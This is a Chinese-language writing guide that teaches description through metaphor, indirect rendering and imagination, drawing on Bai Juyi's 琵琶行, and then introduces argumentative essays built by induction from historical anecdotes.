漂漂亮亮，简简单单，干干净净，却是让你百看不厌，像双钩描出来的名家的字。院子里的灯打开了，枝枝叶叶的颜色深得发黑，那新放的昙花却白得耀眼。近前细看，花瓣薄得出奇，瓣那么大，只有一丁点儿连在蒂上，在夜晚湿凉的空气里暗暗颤抖，怪不得开了就谢，不能持久。正想着，已有一个花瓣悄然跌下来，被叶丛托住了。
这一段文字很朴素很直接的描出一个轮廓来，简直就是 “描花”。
好的描写可以使我们对久已熟悉的事物有新的感受。好的描写使我们对陌生的事物恍如亲见亲历。
下面一段文字的作者，想对 “表” 加以描写。他写得好不好呢？请你给他打个分数。
这是一个扁平的小小的盒子，里面装着精巧的机件，发出滴滴的响声。每响两下，算是一秒。它计时的功能隔着一个玻璃罩子显示出来，这一部位叫 “表面”，由一到十二环绕着十二个数目字，代表十二个小时。表面的中心有一根细轴，是三根细针——秒针、分针、时针——的枢纽，秒针走一圈，分针走一步；分针走一圈，时针走一步。时针走两圈是廿四个小时，代表地球绕日一周的时间，称为一天。
“表” 可以挂在胸前，可以装在袋里，也可以戴在手腕上。戴在腕上的表叫手表，女人的手表设计成手镯的模样，实用之外，也是漂亮的装饰。老式的手表，十二个数目字规规矩矩，清清楚楚，现在手表太普及了，每个数字用一根发亮的短棒来代表，戴表的人凭短棒的位置一望就知道几点几分。这样，表面的美术设计有了更大的自由，设计出来的样子千变万化，买表的时候会把你的眼睛看花了。
这样的作文当然不坏，可是引在这里，我得说它几句坏话。它 “说明” 的功用大，“描写”的效果小。如前所述，描写使我们对久已熟悉的事物有新的感受。没见过手表的人恐怕很少吧，手表是大家 “司空见惯” 之物，这个题目不写则已，要写，用灌输常识的态度加以“说明”，未免多余。
**“说明”之难在说得简洁明确，“描写”之难在描得生动新鲜。**历来作家状物写景都对 “新鲜” 下功夫。有人说，诗人笔下，不过是写些风、花、雪、月罢了；诚然，不过好诗里的花是完全新鲜的花，好诗里的月是完全新鲜的月。“新鲜”的意思并不是说风有紫气，或月呈三角形，而是给我们新的感受。
我们只好再找一段文章来对照参考：
代表十二个数字的十二根短棒环绕圆心整齐的辐射着。秒针急急忙忙的去拨动每一根短棒，使它们产生意义。然后分针慢吞吞的去做同样的事，使那些短棒产生另一种意义。三种针的位置和关系不断变更，在表面上切割出许多角来，夹住那不可捉摸的时间。
表面的图形变化也许不只代表时间。秒针把一个角越变越大，同时使相邻的角越来越小，终于大的角完全并吞了小的，但是盈虚消长周而复始，秒针绕了一圈从头做起，大角又变小了。最典雅的图形是六点正，时针分针拉成直线，秒针也和时针重叠了，表面左右两个半圆，均匀调和，实在好看。这种美可以维持一秒钟，对欣赏美的人来说，一秒够了。
也还有别的美。九点十五分的时候，分针时针拉平，秒针正指着十二点，刹那间，十，十一，十二，一，二，五根短棒都特别光亮柔和了，因为一根明烛正插在平台上映出半圆。紧接着，秒针移到横线之下，在中间垂直而立，立成一根柱子，支持着一团伞形的花球。
秒针的针尖极细，细得黏在表面上，每走一步都要费尽力气摆脱吸力。它的贡献实在大，把一个扇面打开再合上，合上再打开，每打开一次换一幅画，令人观之不足。难怪世上有许多人戴著名贵的表，却从来不守时间，他们八成是看呆了。
不管你喜欢不喜欢，这一段跟上一段不同，这是描写。它写自己心中的表，而不仅是众人眼中共见的表。它写出表的一种精神，而不仅是它的物质构造。它的确是很尽心、很专注的在 “描”，但它的底本却是一种非表之表。这一段写表和前面写昙花也不同，写昙花，“描” 的是眼前之花。这样，我们找到三个可能：
- 说明眼前的景象
- 描写眼前的景象
- 描写心中的景象
**我们作文总是避免把说明当做描写使用，而在描写时，又常常使眼前景象和心中景象交织交融。**就方法而论，前后两段描写 “表” 的文章不妨混合重组。对作文有兴趣的人何不拿它当做一个习题，看能做出什么样的结果来？
无论是描花或双钩，都是谨细的，节制的，所需要的技巧是单纯的。两段写表的文字，正是如此谨细的、节制的、单纯的去 “描” 眼前的或心中的表。也许这样才使读者充分体会用语文去 “描” 究竟是怎么一回事。实际上，作家写作的时候并不如此小心翼翼，他还有很多方法可用。他们深知若欲使眼前与心中交融，非增加若干自由不可。有些地方我们得立刻向他们学习。
描写的手法
比喻
第一，你正在写波浪滔天，忽然放下波浪，去写群山万壑，因为山峰山谷和波峰波谷有些相像。
这就是使用比喻。“发明”比喻的人实在是伟大的天才，替天下后世解决了一个极其困难的问题。用语言文字直接描写事物，最容易办到，可惜多半很难出色，但是，你若用这句似乎平凡的话去比拟类似的另一事物，这句话的内部就好像有什么潜力忽然奔放出来，予人以毛虫化蝶的惊喜。“山外有山，忽起忽伏，连绵不断”，也许费尽心思只能写到这个程度，那么，丢下山峰去想海浪，海浪也 “忽起忽伏，连绵不断”，用海浪去“比” 群山，说群山是凝固的海浪，海浪就救了群山。也许有一天，还可以用 “忽起忽伏，连绵不断” 的群山去救海浪，把海浪描写成“沸腾的群山”。两个牛皮匠，一个诸葛亮。
两件事物不能完全相像，比喻只取其近似的一点
山和海相反之处颇多，但都是 “连绵起伏”，单就这一点着眼，山可喻海，海也可喻山。诗人曾经用流水比喻许多东西，“车如流水”，大概相当于广东话里的“游车河”，马路如河床，满街是车，行进的方向相同，有如河水。“相思如流水”，大概是说全心全意投入，不能停止，也没有保留。“光阴如流水”，取其一去不返，“落花流水”，取其无动于中，（至于“打得落花流水” 则是取其破碎狼藉。）大概流水的用处不止如此，还有很多事物可以被喻，有待我们发现。
比喻是以熟悉喻陌生，以已知喻未知
世上的事物太多，我们只对其中一小部份比较熟悉，若有人向我们谈及一件完全陌生的东西，多半要从我们熟知的东西里举出一样来打比。“东飞伯劳西飞燕”，伯劳是什么呢？老师说，伯劳也是一种小鸟，形状和燕子相似，学生（国文课堂上的学生，不是生物课堂上的学生。）就觉得问题解决了。比喻是以熟悉喻陌生，以已知喻未知。中国从前流行的比喻多半是北方人最熟悉的，如冰清玉洁，雪肤花貌；多半是农民熟悉的，如鸡虫得失，狗偷鼠窃。是不是因为中国以农立国，中国文化的发展又自北而南呢？是不是因为创用这些比喻的人熟悉冰、雪、鸡、狗呢？
前面那一段写 “心中之表” 的散文，也用了一个比喻，拿打开扇面来比表面上两针之间的夹角逐渐扩大。想想看，还可以增加一些什么样的比喻？记住，要用大家熟悉的事物去比陌生的事物，就像用大家都见过的扇面，比拟大家没有注意到的表面上画面的变化。
想想看，钟表和人的生活多么密切，人人身上像是装上了自动开关，内通五脏六腑，时间一到，就站起来往外走，时间一到，就躺下去睡。
想想看，台北火车站临街装置的电钟，高高在上，万人仰望，夜晚有光照亮钟面，怕不像一轮明月？台北人可能没好好看过台北夜空的月亮，一定仔细看过这座钟。每天有多少人神定气闲的来到钟前，抬头一望，马上小碎步跑起来了；多少人急急忙忙来到钟前，抬头一望，站住，掏出一只香烟来，点上了。
想想看，每一个手表都不是孤立的。它们有一个庞大的家族，族长住在气象局，它们还有国际背景，跟格林威治天文台息息相通。它们有严密的指挥系统，每天中午十二时正，全族照例要向族长报到校正自己的错误。
句型
是（像……一样）
比喻的基本句型是 “像……一样”，为免呆板，可以变化。“语言的价值像银子一样，沉默的价值像金子一样”，可以简化为“语言是银，沉默是金”，不用“像－－一样，” 用“是”。“山是眉黛聚，水是眼波横”，这是一个变型。你可以做一个练习；把许多 “像” 型的比喻改为 “是” 型。
想
还有一个变型可以叫 “想” 型，“云想衣裳花想容。”“比喻”能发生功用本靠人的联想，由花想到她的容颜，是因为她的容颜像花。于是，“夜晚，我一看到火车站尖顶上的时钟，就想起中秋明月。”“我看见月亮，想起柠檬。”都可以作比喻用。但是 “看见柠檬想起维他命Ｃ” 就不是比喻了。试试看，找一些 “像” 型的句子改为 “想” 型。
成
还有一种变型可以叫 “成” 型，例如 “雨水加上霓虹灯的倒影，柏油路面红成晚霞。” 描写一个人十分忙碌而又完全不能自主，可以说他 “忙成一具陀螺。” 描写一个人化妆过度；可以说他 “把自己的脸涂成一副面具。” 这个句型的特点是，“成”字前面一定有一个词把 “喻” 和“被喻”的共同关系说出来，在 “像” 型的句子里，这个词通常在一句之末。例如：
- “她唱成一只百灵。” 也就是“她像百灵鸟一样爱唱。”
- “他把自己炼成钢铁。” 也就是“他像钢铁一样经过锻炼。”
比喻最高的技巧
以上几种句型不论怎样变化，“喻”和 “被喻” 都在句中并存。比喻最高的技巧是，被喻之物完全不见了，只有 “喻” 在发挥。“水深火热”说的不是水火，“金玉其外”说的也不是金玉。“在山泉水清，出山泉水浊”，如果只是说泉水，杜甫还能算是诗圣吗？这些都另有所指，都是比喻，“被喻”的部份隐藏不见，因此称为隐喻。
把钟表比成大家族的那段文字，说 “它们有一个庞大的家族；族长住在气象局。它们还有国际背景，跟格林威治天文台息息相通。它们有严密的指挥系统，每天中午十二时正，全族照例要向族长报到校正自己的错误。” 这段文字里的家族、族长、国际背景、指挥系统、报到，都是隐喻。
**当你学习一些生字生词时，你可能同时在学比喻。**学过 “兔脱” 了吧？把 “兔脱”，解释为“迅速逃走” 是不够的，它是 “像兔子一样逃走了”，只有农家出身的孩子，有过“猎兔” 经验的，才知道这个比喻传神。同理，“学业荒废”并不是把功课忘记了而已，还带着田里没有庄稼只有野草的形象。“井井有条”，莫忘了有条不紊的井田制度。当我们说 “罢了、罢了！” 的时候要想到，“罢”字是兽落在捕兽的网里，它完了！
于是可以发现，许多成语乃是变形的比喻。成语 “借鉴”，好像很陈旧了，“找个镜子来照照看” 就新鲜些，其实两者的意思还不一样？“穹苍”，天空像一个圆形的帐蓬的蓬顶。“耿介”，那人的脾气好像一身铠甲从来不换睡衣。“开张”，那人的商店像一张弓般的拉开了，（那人开了店，精神紧张得像一张拉足了的弓。）
如此这般，也许能够 “化腐朽为神奇”，找出许多比喻来用在我们的文章里。
- 雄心：像公鸡一样充满了自信。
- 暴燥：他成了在烈日下劈拍响的干柴。
- 驯至：像是你的心爱的小猫，慢慢的走过来，悄悄的挨近了。
- 唱名：他像唱歌一样念出那些人的名字。
- 倒霉：他好像一交跌在一堆腐烂的垃圾上。
- 母金：那笔钱像一只母鸡，过一些日子就生出一枚金蛋来。
烘托
第二，暂时放下要写的景象，去写那景象周围事物的变化。就是烘托。
烘托是 “烘云托月”。画画儿的人通常是在纸上画个圆圈儿，当做月亮。他也可以不用线条画月亮的轮廓，他画一片云，在云里留一个圆形当做月亮。他没有直接去画月亮，而是用云把月亮衬托出来。作文写景也可以这么办。在画家口中，“烘托” 和“白描”是两种不同的方法，但是在写文章的人嘴里，烘托仍然属于描写，他们把 “描” 的意义引申、扩大了。
作文怎样 “烘托” 呢？通常是不直接写我们要写的事物，去写那事物引起的反应。前面写钟，忽然离开了钟，说是有人看了钟以后神色紧张，有人看了钟以后从容不迫，那几句就离 “烘托” 不远，倘若没有钟，人们就不会有如此的动作表情；今竟如此，读者就会对钟之存在有深刻的印象。
有一次，一位画家为人画像，我们围在旁边看。被画的人和画家相向而坐，我们则站在画家背后，被画的人是看不见画的。十分钟左右，一张铅笔速写人像完成了，这时被画的人可以看见画了，可是他并不马上看画，他对我们说：“我知道他画得很好。刚才他作画的时候，我从你们的眼睛和神情知道他画得很精采。”
“看脸色”的经验人人有，有时候，我们一步跨进办公室，看见大家的神色，就知道这里刚刚发生过一件可笑的事，或是令人忧虑的事，成语有 “面面相觑”、“相顾失色”，我们用熟了，用惯了，习焉不察，忘了初创者的匠心。电影常在恐怖的事件发生时去特写许多人的脸，恶人把好人吊死，导演“不忍” 把好人绝命的样子照出来，就去照在场目睹的人，照他们的脸，照出愤怒、恐惧、哀痛，或是痉挛抽搐。
烘托之法常用在不便直接描写或不易直接描写的地方。
夏季常有大雨，将雨之时，云暗天低，空气中有一种看不见的压力，想直接描写这种压力颇不容易。诗人说：“万木无声待雨来”，他拈出 “万木无声” 四字使我们感觉到压力之存在，俨然是三军肃静无哗，等候将帅出场。
音乐的美也不容易直接描写，所以白居易描写秋夜江上的琵琶演奏，演奏完毕时的景象是 “东船西舫悄无言，惟见江心秋月白。” 附近有很多船，船上都没有声音，那些人当然不是睡着了，是被音乐陶醉了。音乐的美有时很庄严，使人也 “万木无声” 起来。江心秋月是美的，静的，好像音乐凝固在江里，好像没有那么美的音乐就没有这么美的江月。
曹子建写洛神，形容她“增一分则太长，减一分则太短”，她的身材恰恰好。又形容她不必搽粉，倘若搽粉就太白了，也不必搽胭脂，搽胭脂就太红了，她的肤色也恰恰好。这几句描写太像是烘云托月了，他围着美人四周写“非美人”，留下空白，而空白就是美人。
我们日常使用的语言里充满了比喻。它有一定的句型，容易觉察。我们耳濡目染，（你看，“濡”和 “染” 就是比喻。）早有心得。日常语言里也有烘托，比较少，又往往被我们忽略了，一旦需要使用，不免生疏。其实烘托并不困难，只要养成一个习惯，那就是，如果描写不出来，或者觉得这一点儿描写还不够，你就放开你要描写的主体，围着它的四周打主意。
这得平时费些观察的功夫。“玉在山而石润”，我们没见过，但是我们走进一个人的住所，他结婚了没有，倒是看得出来。即使主人外出，室内无人，一个有主妇管理的家，和单身汉的家，应该有许多不同。我们总能 “看见” 主妇，一个勤俭的主妇，或是懒惰的主妇，或是大而化之的主妇。如果男主人和女主人都在家，他们有没有孩子呢？如果有两三个稚龄儿女，他家的客厅就很难保持原来的整洁，地板上可能有奶嘴、洋娃娃、积木，或者一只童鞋，或者白纸上用口红画了一张血盆大嘴，标题曰 “妈妈”。后院有一辆婴儿车，前门则有邻家的黄狗痴痴等待。客厅里的茶几靠在墙边，沙发的扶手是包上海绵的。孩子没有出场，我们已“看见” 孩子。
“我看见春神了！” 这是一句惊讶赞叹的话，抒情的成分大于叙事。春神是看不见的。我们听见鸟叫的声音忽然清亮圆润起来了，唱得很兴奋。而且爱唱的鸟一天天增加。我们看见燕子以巧妙的姿势用他的尾巴剪开空气，空气里有青草的香味，和一些可以做燕子食物的小虫。雨比细丝还细，只有在这个季节才会有这样温柔的雨，能把田里的土块湿透了、土块还不破开。不久，那连绵的山陵都着上绿色的披风，由山上一直绿下来，绿色的地毯铺到江岸，一望无际。我们只能看见这些，这些都是烘托。
想像
古诗人描写明月用 “皓魄”——洁白的精灵，如果说这是比喻，谁见过皓魄什么样子？这就违反了 “以熟悉之事物喻陌生之事物”，可是描写的效用仍然很大，因为事实上虽没有皓魄，想像中却可以有。
下面的例子可以说明想像的魔力。白居易用 “大珠小珠落玉盘”、“间关莺语花底滑”，“幽咽流泉水下滩” 描写音乐，后来出现了 “珠走玉盘、水行花底” 的成语，用来形容美丽的声音。事实上，“珠走玉盘”的声音谁听见过？何以知道那声音很美？如果作一实验，珍珠在玉盘中跳动的声音可能并不悦耳。然而人们 “甘愿” 由珠玉之美去想像珠走玉盘的声音之美。西谚有 “金苹果落在银网里” 的说法，这句话在事实上只有视觉之美，想像中却兼有听觉之美。
再说 “水行花底”。如果水流的声音不美，何以经过花底便美？如果水流的声音很美，何以经过花底更美？花影对流水的声音并不能增加或改变，只不过花是美的，人们“甘愿” 水声也因之特别好听。这也是 “想像” 的作用。
由于文学欣赏者信任想像有时什于信任事实，想像就跨出了比喻的范围。
李白说 “黄河之水天上来” 是想像，平实的说法乃是，中国的地势西北高而东南低，黄河由西北高原顺着地势流下来。苏东坡月夜泛舟，听人吹箫，形容箫声可以 “舞幽壑之潜蛟，泣孤舟之嫠妇”，严格的说，都属想像，放宽一点说，下一句如果是烘托，上一句“必定” 是想像。“闲花落地听无声”是白描，形容落花有“碎声”（跌碎了的声音）是想像。“大江流日夜”，江水日日夜夜奔流不息，是实景，若是解释为江水把白天冲走了，把黑夜冲走了，把光阴冲走了，那就是想像。“夜黑成了一瓶墨汁”，是比喻，“夜黑得可以用刀切”，是想像。野火烧山，白天半边天是黑的，夜晚半边是红的，是实景；七天七夜以后，火熄了，整座山大概也熟透了吧，是想像。
**想像力是一种无中生有、推陈生新的 “巫术”。**有时候，整篇作品都是想像的产物，例如神话。白蛇和许仙的恋爱故事，除了地名，全属虚构，堪称“大巫”。另有一些作品，写实际生活，仅在局部细节用想像来加强描写，堪称“小巫”。本文所述的想像归于此类。**本文又特别把想像与比喻、烘托分开，用以专指陌生的、“想当然耳” 的、不可能发生的然而感性特强的景象，以突出想像并激发想像力。**如果没有丰富的想像力，像 “酒到杯干” 这种句子（形容大家豪饮）怎么写得出来，怎么看得懂。“酒到杯干”还可以解释，形容绝对秘密的文件而说是“先烧后看”，那就连解释也难了。
比喻、烘托和小巫的想像可以在一篇文章里混合使用。
描写一棵古松，形容它高可参天——它简直可以朝见上帝，即出于想像。这棵松树身披 “鳞甲”，深色的树干像用“生铁” 铸成，则是比喻。它俨然 “独霸” 这座山头，容不得第二棵树生长，它的根伸进土壤里、石缝中，把整个山头紧紧密密的 “抓” 住，难解难分，比喻、烘托、直接描写至此也难解难分了。为了形容古松之古，诗人说，这树常常伸出弯曲的苍劲的手臂，擒住明月，由天上走回人间。诗人说，这树曾经亲耳听见孔子向老聃问礼。这当然又是想像了。
白居易的 “琵琶行” 是我们应该熟读的作品，这是一首长诗，记述他怎样在江上 “偶然” 发现了一位音乐家。他十分认真的描写了琵琶的乐声，直接描写、比喻、哄托和想像都派上用场。
直接以字音摹拟声音
枫叶荻花秋 “瑟瑟”
大弦 “嘈嘈” 如急雨
小弦 “切切” 如私语
“间关” 莺语花底滑
又闻此语重 “唧唧”
用比喻去描写声音
似 “诉” 平生不得志
大弦嘈嘈 “如急雨”
小弦切切 “如私语”
“间关莺语” 花底滑
幽咽流泉水下滩
水泉冷涩弦凝绝
银瓶乍破水浆迸
铁骑突出刀枪鸣
四弦一声如裂帛
烘托
主人忘归客不发
东船西舫悄无言
我闻琵琶已叹息
如听仙乐 “耳暂明”
满座重闻皆掩泣
江州司马青衫湿
想像
“如听仙乐” 耳暂明
大珠小珠落玉盘
间关莺语 “花底滑”
有志写作者不妨马上把 “琵琶行” 温读一遍，专看以上各种描写方法如何轮替分布以产生总体的效果。
议论的技巧
“议论” 是发表意见、提出主张，这是跟记叙、抒情不同的另一种表达。有系统的、有说服力的（当然最好也是正确的）议论是知识份子的专长。在一般人心目中，说理的文章比抒情记事的文章身价高些，价值大些，如果抒情记事是 “小道”，说理的文章就是 “大道”。
一个人所以要发表意见、提出主张，多半由于想影响别人的想法，接受文中的主张。“议论” 的旨趣跟抒情记事不大一样。不妨这么说：
记叙文记人记物记地记事，使人知抒情文写的是情，使人感**议论文发表意见、提出主张，使人信
太鲁阁的山水是台湾最美的山水。横贯公路筑成以前，到过太鲁阁的人很少，住在西岸的人多半不知道这一处风景名胜。“太鲁阁六记”或 “记太鲁阁山水” 之类的文章可以使他们增广见“闻”。如果你写的不是“记”，你写的是，人在太鲁阁，简直是走进国画里去了，简直变成高人隐士了，现代社会的一切压力都解除了，人又回到大自然的怀抱里成为受宠爱的婴儿了。这种文章写出来的是作者的感受、感觉，读者得到的也是感受、感觉。
议论文不同，“议论”是，人应该接近大自然，应该欣赏山水，应该旅行。那么就应该到太鲁阁一游，去陶情怡性，认识我们美丽的河山。**发出 “议论” 的人希望大家想一想，相信他的话，照着去做。说得严格一些，纯粹的记叙文不管读者该不该去游太鲁阁，纯粹的抒情文可能连太鲁阁是个什么样的地方都没说明白。**当然，文章通常都不太“纯粹”，而是记叙、抒情、议论综合使用。作者希望他的文章既能给人知识，又能给人感动，也能使人发生一种信念。
上化学课的时候，老师说：“你们看，我可以使蓝色的试纸变红”，果然。“你们看，我可以使红色的试纸变蓝”，果然。老师说：“张大为，你来试试；王大同，你也来试试”，屡试不爽。这是由直接实验得来的信念。但天下事不都是这么简单。例如，电视上的暴力镜头，会不会使青少年产生暴力倾向呢？会不会使孩子们将来动不动用暴力解决问题呢？这得由某一个机构请专门的人才来实验，专家选出两组学童来，第一组天天看西部武打，中国功夫，黑手党内哄，第二组则否。几个月后举行测验，看第二组学童的暴力倾向有没有增高。这就不是张大为、王大同能够照着样子再做一次的了，张大为、王大同只有相信专家作成的结论。
假如专家的结论是：“暴力镜头足以引发暴力行为。”张大为接受了这个论点，据以主张：“电视应避免暴力镜头。”发为议论的时候，就得把这个结论举出来使别人也接受。这种结论的涵盖面很大：甲电视台的暴力镜头能助长暴力行为。乙电视台亦然。这种结论的效用可以推广：以前电视台的暴力镜头能助长暴力行为，以后也能。这种涵盖面大、能推广应用的断语就是一般人所谓大道理、大帽子。
**有些事情谁也不能实验。**台北市区的火车道究竟是走地下、还是高架？总不能先挖隧道铺铁轨试试，不合适再拆掉铁轨填上土。这等事，得由专家勘查提出建议。这一位专家说高架好。另一位专家说地下好，这就有争辩。而议论文正是引起争辩、参加争辩的文章。好的议论文还可能是结束争辩的文章。
写这种文章，难就难在你的主张是根据什么提出来的呢？你的意见是根据什么发挥的呢？也就是，**你的 “论据” 是什么呢？**你凭什么说电视应该减少暴力镜头呢？凭什么说中学生不该谈恋爱呢？凭什么劝联考没考取的人不要灰心绝望呢？你不能说：我觉得暴力镜头怪残忍、怪可怕的，看多了、夜里会做恶梦，光是 “我觉得” 不行。“我觉得”是抒情。
**所以发议论、提主张要先找参考资料。**但是中学里课堂上作文，很少先宣布题目，一星期后再交卷的，（我倒主张写议论文不妨这么做）考试的时候更不用说了。这得靠你平时多看书报，留心问题，记住一些东西。“太鲁阁六记”只要到过太鲁阁就能写，为大自然所陶醉的感觉没到过太鲁阁也能写，提倡旅游，不但最好自己有旅游的经验，还得讲得出 “大道理” 来。“大道理”不会在你心里自然产生，也不会写在太鲁阁的石头上，从这个角度看，议论似乎较难。
归纳
“道理”是从那儿来的？它是 “归纳” 出来的，写论文的人都很了解归纳法。
论据分类
论据分为事实和名言。
搜集事实
**使用归纳法的人先去搜集事实，把一件一件事实叫“个案”。**有个孩子生了白喉，白喉是很厉害的传染病，卫生机关追查病是怎么来的，查来查去查到这个家庭养的狗身上，发现由狗传染而来，这是一个“个案”。另一个地方，另一个孩子，得了肺结核，病菌是从那里来的？卫生机关也要查，查来查去查到他家的狗，也是由狗传染而来。这又是一个“个案”。个案多了，从其中找它们共同之处，那就是：“狗会传染疾病”。这就是归纳。
“狗会传染疾病” 可以当作论据。既然狗会传染疾病，我们应该怎么办？这就产生了意见和主张。有人说根本不要养狗，有人对是否养狗没有意见，但是，如果养狗，一定要经常给狗洗澡，除寄生虫，打预防针，并且检查身体。有人说，养狗养得那么讲究，要经济高度发展的社会才办得到，我连自己都不能按期作健康检查，何况是狗？可是我家需要养狗，只好冒险。
这么说，归纳法不是挺难吗？不，不太难。我们在生活里面几乎天天都在用这个方法。婴儿觉得周围的人对他很好，就以为所有的 “人” 都对他好。长大以后，他发现只有一小部份人爱他，关心他，喜欢他。这些人是父亲，母亲，哥哥，姐姐，外祖母，等等。这些人都是亲人，亲人才会对他好，这就是归纳。成年以后，离开家庭，步入社会，发现社会上也有一部份人对他很好，接待他，奖励他，帮助他。这些人并不是他的亲人。不是亲人怎么会对他好呢？因为那些人的心肠好，心肠好的人待人好。这又是归纳。既然有这么多的人对我好，我是不是也该回报呢？怎样回报呢？这就有了意见主张。
知识、经验使我们知道事物和事物之间有那些共同的关连。小时候不知道，长大了才知道，读书少的时候不知道，读多了就知道。抗战时期我做流亡学生，到过大后方好几个省份，乡下的老太太听说我们是因为日本军阀欺负中国才逃出来的，就问日本国在那里，有多远。她老人家听说远得很，就很纳闷：“彼此隔得那么远，干吗要来欺负咱们呢？” 那时候还有很多人抽鸦片，她老人家听说鸦片是从英国来的，英国人硬要把鸦片卖给中国人，又问英国在那里。英国吗，更远，比日本还远。既然隔得更远，为什么也要来害中国人呢？英国，日本，为什么都一样呢？老太太没念过书，不知道两者有什么共同的关连，她的孙子就知道，那时日本和英国都是帝国主义，帝国主义都是要向外扩张的，都是要找寻目标发动侵略的。
读书，可以多多知道世上的事物。并且发现事物和事物之间的关联，找出其中的道理来。世界上的事物太多，太复杂，人的精力时间有限，一个读书人要有高深的成就，多半要选定一个范围，希望了解这个范围以内的所有的事物，这是 “从少少中知道多多”，这是 “专”。也有人不愿意被一个小小的范围圈住，他要 “周游列国”，一个范围挨一个范围进进出出，“从多多中知道少少”，了解得比较周全，这是 “博”。博也好，专也好，都是将来的事。写那种文章的规矩十分严谨，那不是 “作文”，那是著书立说。那是另一个层次。
现在我们要说的是，归纳法可以帮助你完成一篇议论文，并且可能使你的议论文继续进步。归纳法好比是一个口袋，你把相关的事物放进去，加上标签。
我们来假设一个练习。董仲舒下帷读书，三年目不窥园。老师说，冯成城，联想一下，举出一件类似的事情来。冯成城想了一会儿，照着老师的指示，走上讲台，拿起粉笔，在那一行字旁边写下：孟浩然作诗的时候，把太太和孩子都赶到门外。“很好。” 老师点头，目送冯成城回座。“现在谁有灵感？谁能再增加？” 华成果、韩行之都举起手来。华成果写的是：大禹治水，九年在外，三过其门而不入。韩行之写的是：牛顿煮表。老师说：“很好！你自己解释一下。” 韩行之说：“各位同学，牛顿做起研究来就忘了吃饭。有一次，他放下研究工作去煮一个蛋做午餐，人在厨房里，心还是在研究室里。煮了一阵子，蛋该熟透了，谁知他打开锅盖一看，锅里放的不是蛋，是他的手表。”
好的，这里有个口袋，我们把董仲舒下帷读书放进去，把孟浩然作诗放进去，把大禹治水、牛顿煮表放进去，为什么把它们装在一个口袋里？因为这四件事有一点相同，那一点？他们都非常专心。结果呢，董仲舒读书读得很好，孟浩然作诗作得很好。我们在口袋外面写上：专心致志的人可以成功。
平时看书多准备几个口袋，袋袋不空，作文的时候把袋里的东西倒出来。上面假设的这个口袋，如果作文题目是 “如何发扬专业精神”，或是“纠正见异思迁的风气”，或是“成功最重要的条件是什么” 都可以用。
孟浩然为了专心作诗，常常把妻子儿女赶出门去，换个角度看，这件事跟住宅问题也有关联，孟家的房子太少，如果子女有专用的游戏室，岂不可以相安无事？直到现在，多数人居住的空间仍然不够，专家心目中的标准住宅是，整个建坪为卧室面积的四倍，也就是说只用房子的四分之一来睡眠，事实上许多家庭住得很拥挤，好像房子是为了卧室，而卧室只是为了放一张床。现在的孟浩然也难免把孩子赶到水沟旁边去吸汽车的废气。如此，孟浩然这一条，可以写进 “论兴建国民住宅之重要”，也可以写进 “改善文人的生活环境”。它可以装在好几个口袋里。
大禹治水这一条，是专心，也是公而忘私。它可能有机会加入 “外举不避仇”，“匈奴未灭，何以家为” 的一组。换个角度替禹的太太设想，做一个大人物的妻子真不容易，（做孟浩然的太太又何尝容易？）讨论中国妇女的美德、痛苦的时候也许用得着。人生是立体的，你可以作 “面面观”，“梁山伯祝英台” 的故事是一个爱情至上的故事，也是一个父母包办儿女婚姻的悲剧，你可以从里面找古代女孩子浪漫的幻想（女扮男装到远方去受教育）也可以从里面找从前的老百姓在面对人间缺憾时怎样安慰自己。（梁祝故事的底子是一个圆满的神话。）复杂的事件，有时像神话故事里牛郎的那头牛，虽然只有一头牛，牛头有牛头的法力，牛尾有牛尾的法力，牛皮有牛皮的法力，随时可以供应牛郎的需要。
有了董仲舒读书，有了大禹治水，有了牛顿煮表，你就像证题一样得到 “专心”。下面你就可以理直气壮的提出意见主张，这才是你的目的。这一类题目通常只能向肯定的一面发挥，大概没有人会说专心不好，心专而后业精，心专而后学成，能专始能巧，能专始能通。难道也得三年目不窥园？不是的，暑假别跟妈妈到日本去观光总可以吧，难道也要我们煮表？当然不是，到美国留学的人喜欢在周末包饺子吃，其事无可厚非，但是也有人从来不包饺子，留学三年没吃过一顿饺子。有人说笨人才需要专心，此言差矣，牛顿、董仲舒是笨人吗？
今天的人读书立业，也要有董仲舒那种全心全意投入其中的精神，而不是呆板的模仿他的做法。有很多事情**古人能做，今人不能做；古人行得通，今人行不通。**何以见得？归纳为证。
有一次，老师讲到囊萤映雪，一位同学问道：“萤光和雪光很微弱，怎么能看清书上的字？”老师说：“这个问题实在好！”他解释，从前的书是刻在木板上印刷出来的，字体很大，现在中央图书馆所藏的 “善本” 书，就有宋代明代刻印的，映着雪光看，或是 “凿壁偷光” 看，能够阅读。贫穷的读书人买不起书，可能自己抄书，手抄本当然也是大字。古人苦读可以囊萤映雪，凿壁偷光，今人不行。
讲到古人行得通，今人行不通，老师要求同学们自己举例，又得到三个 “个案”：
张千载
张千载，宋人，和文天祥是朋友。文天祥请他出来做官。他不肯。后来文天祥被元朝囚在一间小屋子里，张千载就租了房子住在旁边陪着，天天送饭给文天祥吃。等到文天祥被元朝杀害，千载负责办理丧事，把骨灰送到江西庐陵文天祥的老家。这件事情，现代人恐怕办不到。现在若有文天祥这等人物坐牢，敌人一定戒备森严，不准一般人接近，也根本用不著有人送饭。现代的张千载若在附近逗留不去，敌人可能认为他是间谍。
荀巨伯
荀巨伯是汉朝人。他到某城去照顾一个生了重病的朋友，不幸遇上贼兵攻城。朋友劝他赶快逃难，他不肯。贼兵攻进城里，见城里的人差不多跑光了，就盘问荀巨伯为什么还留在城里。荀说：“我的朋友生病，我不忍把他丢下。” 贼兵问他难道不怕死？荀说：“我愿意为我的朋友而死。” 贼人听了，十分感动，认为城里既然有这样的好人。这个城实在不该受到扰乱破坏，就退到城外去了。为了一个义人而放弃一个城，现在不会有这样的战争。现代荀巨伯应该把病人送进医院，由医院里的医生和护士留守。攻进城来的人通常不去毁坏医院，因为他们自己也会生病。
西门豹
西门豹治邺，破除了 “河伯娶妇” 的迷信。当地风俗，每年选一个少女丢进河中淹死，算是给河神做太太，祈求这一年没有水灾。西门豹在河伯娶妇的大典上把巫婆投入河中，其事遂废。现代的西门豹要是这么做了，不久就会被捕，紧接着是法院审判，罪嫌是杀人。他也会受到舆论的攻击，不可能传为美谈。
老师说：张千载、荀巨伯、西门豹，加上 “囊萤” 的车胤，“映雪”的孙康，五人的事迹合起来，可以证明今人不能完全遵古仿古。后人所以看重车胤孙康，是因为他们艰苦向学，今人只要有那种精神就好。同理，张千载的精神，荀巨伯的精神，西门豹的精神，都可以传下来，用现代人的行为发扬它，再传下去。
